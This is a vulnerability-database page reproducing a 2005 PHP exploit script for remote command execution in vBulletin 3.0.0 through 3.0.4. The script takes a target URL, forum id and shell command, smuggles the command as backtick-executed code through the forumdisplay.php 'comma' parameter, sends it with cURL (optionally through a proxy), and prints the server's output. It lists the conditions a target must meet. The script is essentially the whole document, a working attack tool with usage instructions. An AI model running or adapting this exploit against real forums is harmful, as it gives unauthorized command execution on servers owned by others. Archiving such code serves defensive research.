Lucene search
K

vBulletin <= 3.0.4 "forumdisplay.php" Code Execution (part 2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

vBulletin 3.0.4 "forumdisplay.php" code execution exploi

Code

                                                &#60;?php
/**************************************************************
#
# vbulletin 3.0.x execute command by AL3NDALEEB al3ndaleeb[at]uk2.net
#
# First condition : $vboptions[&#39;showforumusers&#39;] == True , the admin must set
# showforumusers ON in vbulletin options.
# Second condition: $bbuserinfo[&#39;userid&#39;] == 0 , you must be an visitor/guest .
# Third condition : $DB_site-&#62;fetch_array($forumusers) == True , when you
# visit the forums, it must has at least
# one user show the forum.
# Fourth condition: magic_quotes_gpc must be OFF
#
# Vulnerable Systems:
# vBulletin version 3.0 up to and including version 3.0.4
# 
# Immune systems:
# vBulletin version 3.0.5
# vBulletin version 3.0.6
# 
**************************************************************/

if (!(function_exists(&#39;curl_init&#39;))) {
echo &#34;cURL extension required\n&#34;;
exit;
}

if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);
$command = $argv[3];
}
else {
echo &#34;vbulletin 3.0 &#62; 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n&#34;;
echo &#34;Usage: &#34;.$argv[0].&#34; &#60;url&#62; &#60;forumid&#62; &#60;command&#62; [proxy]\n\n&#34;;
echo &#34;&#60;url&#62; url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n&#34;;
echo &#34;&#60;forumid&#62; forum id\n&#34;;
echo &#34;&#60;command&#62; command to execute on server (ex: &#39;ls -la&#39;)\n&#34;;
echo &#34;[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n&#34;;
echo &#34;ex :\n&#34;;
echo &#34;\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \&#34;ls -al\&#34;&#34;;

exit;
}

if ($argv[4])
$proxy = $argv[4];



$action = &#39;forumdisplay.php?GLOBALS[]=1&f=&#39;.$forumid.&#39;&comma=&#34;.`echo _START_`.`&#39;.$command.&#39;`.`echo _END_`.&#34;&#39;;

$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.&#39;/&#39;.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res = substr($res, strpos($res, &#39;_START_&#39;)+7);
$res = substr($res,0, strpos($res, &#39;_END_&#39;));
echo $res;


?&#62;

// milw0rm.com [2005-02-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation